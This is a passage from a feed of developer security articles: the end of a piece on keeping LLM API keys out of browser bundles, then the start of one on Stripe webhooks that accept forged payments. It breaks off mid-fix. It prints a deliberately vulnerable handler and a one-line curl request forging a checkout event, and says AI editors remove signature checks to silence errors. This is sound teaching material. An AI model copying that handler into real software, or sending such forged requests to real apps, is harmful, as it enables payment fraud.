  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;string&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bad input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;completions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;gpt-4o-mini&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;max_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt; &lt;span class="p"&gt;}],&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The client component only talks to your route:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 'use client'&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/chat&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Vite app has no server of its own, so the route goes in whatever backend you already have: a Supabase Edge Function, a Cloudflare Worker, a Vercel or Netlify function, or a small Express server. The rules are the same. The key lives in that backend's secrets, never in a &lt;code&gt;VITE_&lt;/code&gt; variable.&lt;/p&gt;

&lt;p&gt;Then clean up properly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rotate the key.&lt;/strong&gt; Deleting the variable does not help. Every bundle you already deployed still contains the old key, and so do your git history and any CDN caches.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check the bundle.&lt;/strong&gt; After &lt;code&gt;npm run build&lt;/code&gt;, run &lt;code&gt;grep -rE "sk-(proj|ant)-|sk-[A-Za-z0-9]{32}" dist/&lt;/code&gt; (or &lt;code&gt;.next/static/&lt;/code&gt; for Next.js). It should return nothing. A plain &lt;code&gt;sk-&lt;/code&gt; search also matches words like "risk-", so use the pattern.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set a spending limit&lt;/strong&gt; on the key's project in your provider dashboard, so a leak you missed has a ceiling.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Is &lt;code&gt;dangerouslyAllowBrowser: true&lt;/code&gt; ever safe?&lt;/strong&gt;&lt;br&gt;
A: Only where every user is trusted, like an internal tool, or with a key that has a tiny scope and a short life. For a public app, no. Anyone who loads the page can read the key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Can I hide the key with obfuscation or environment variables?&lt;/strong&gt;&lt;br&gt;
A: No. Anything the browser needs to send a request, the user can read. &lt;code&gt;VITE_&lt;/code&gt; and &lt;code&gt;NEXT_PUBLIC_&lt;/code&gt; variables are inlined into the bundle as plain strings, and the key also appears in every request header.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: My key was exposed. Is deleting it from the code enough?&lt;/strong&gt;&lt;br&gt;
A: No. Rotate it in the provider dashboard first. Old builds, git history and caches keep the original value.&lt;/p&gt;

&lt;p&gt;I've been running &lt;a href="https://tinyurl.com/2yyt694p" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; for this. Its cloud repo scans (Cloud and Cloud Plus plans) flag an AI SDK client created with &lt;code&gt;dangerouslyAllowBrowser: true&lt;/code&gt; and an LLM key read from a &lt;code&gt;NEXT_PUBLIC_&lt;/code&gt;, &lt;code&gt;VITE_&lt;/code&gt;, &lt;code&gt;EXPO_PUBLIC_&lt;/code&gt; or &lt;code&gt;REACT_APP_&lt;/code&gt; variable, and the live app scan checks your deployed site's code for provider keys. It also hooks into Cursor and Claude Code as an MCP server. Even without it, a grep of your build output for key prefixes and one look at the Network tab will tell you if you have this problem. The important thing is to look before someone else does.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>ai</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Why Cursor Stripe Webhooks Accept Fake Payments (CWE-345)</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Mon, 12 Oct 2026 16:58:53 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/why-cursor-stripe-webhooks-accept-fake-payments-cwe-345-508j</link>
      <guid>https://dev.to/c_k_fb750e731394/why-cursor-stripe-webhooks-accept-fake-payments-cwe-345-508j</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;AI editors often "fix" the Stripe error &lt;code&gt;No signatures found matching the expected signature for payload&lt;/code&gt; by making signature verification optional, so the webhook accepts any POST.&lt;/li&gt;
&lt;li&gt;Anyone who finds the endpoint can send a fake &lt;code&gt;checkout.session.completed&lt;/code&gt; event and give themselves a paid plan.&lt;/li&gt;
&lt;li&gt;The fix: verify every event against the raw body with a required &lt;code&gt;STRIPE_WEBHOOK_SECRET&lt;/code&gt;, return 400 on failure, and never fall back to the unverified payload.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The signature error shows up on almost every first Stripe integration. You run &lt;code&gt;stripe listen&lt;/code&gt;, trigger a test checkout, and the terminal prints &lt;code&gt;Webhook signature verification failed&lt;/code&gt;. You paste the error into Cursor or Claude Code and ask it to make the error go away.&lt;/p&gt;

&lt;p&gt;It does. The error disappears because the check disappears. Payments still "work" in testing, the plan upgrades, and nobody looks at the webhook file again.&lt;/p&gt;

&lt;p&gt;What makes this pattern so common is that Stripe's own Node quickstart ships the escape hatch. The handler starts with &lt;code&gt;let event = request.body;&lt;/code&gt;, then runs verification only inside &lt;code&gt;if (endpointSecret) { ... }&lt;/code&gt;, with the comment "Only verify the event if you have an endpoint secret defined." That is a convenience for local testing. In production, a missing or misspelled environment variable turns it into an open door.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;The vulnerable handler accepts the event body as trusted data whenever verification is skipped or fails. Here is the shape I see after an AI "fixes" the signature error in a Next.js App Router project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/api/stripe/webhook/route.ts&lt;/span&gt;
&lt;span class="c1"&gt;// CWE-345: Insufficient Verification of Data Authenticity&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Stripe&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Stripe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;STRIPE_SECRET_KEY&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Only verify if a secret is configured (signature kept failing locally)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;STRIPE_WEBHOOK_SECRET&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;webhooks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;constructEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe-signature&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;STRIPE_WEBHOOK_SECRET&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Signature check failed, continuing&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;checkout.session.completed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;client_reference_id&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pro&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;received&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three separate failures are stacked here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;req.json()&lt;/code&gt; followed by &lt;code&gt;JSON.stringify(body)&lt;/code&gt; changes the bytes. Stripe signs the exact raw body, so verification fails on every real event. That is the bug that started the loop.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;catch&lt;/code&gt; logs and carries on, so a failed check still processes the event.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;STRIPE_WEBHOOK_SECRET&lt;/code&gt; is unset in production, verification never runs at all.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Exploiting it takes one request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://yourapp.com/api/stripe/webhook &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"type":"checkout.session.completed","data":{"object":{"client_reference_id":"&amp;lt;my-user-id&amp;gt;"}}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No card, no Stripe account. The user is now on the pro plan.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;AI editors reproduce the most common shape of a Stripe handler, and the most common shape treats verification as optional. The quickstart pattern above, plus years of blog posts and tutorials that copied it, taught the model that &lt;code&gt;if (secret) verify()&lt;/code&gt; is normal.&lt;/p&gt;

&lt;p&gt;Then the debugging loop does the rest. The signature error has only three causes according to Stripe's troubleshooting page: the wrong endpoint secret, a modified request body, or a malformed signature header. The two that bite most often:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Wrong secret.&lt;/strong&gt; &lt;code&gt;stripe listen&lt;/code&gt; prints its own &lt;code&gt;whsec_&lt;/code&gt; secret. It is different from the secret of the endpoint in your Dashboard, and each one only verifies its own events.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parsed body.&lt;/strong&gt; &lt;code&gt;express.json()&lt;/code&gt; registered before the webhook route, or &lt;code&gt;req.json()&lt;/code&gt; in Next.js, hands &lt;code&gt;constructEvent&lt;/code&gt; a parsed object instead of the raw string.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both are configuration problems. When the model cannot see your env file or middleware order, the shortest path to "no error" is to stop throwing, and that is the edit it proposes.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Verify every event against the raw request body with a required secret, reject anything that fails with a 400, and only act on the object &lt;code&gt;constructEvent&lt;/code&gt; returns. No fallback, no optional path.&lt;/p&gt;

&lt;p&gt;Next.js App Router:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/api/stripe/webhook/route.ts&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Stripe&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/server&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Stripe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;STRIPE_SECRET_KEY&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;webhookSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;STRIPE_WEBHOOK_SECRET&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;webhookSecret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;STRIPE_WEBHOOK_SECRET is not set&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;misconfigured&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// raw body, never req.json()&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe-signature&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
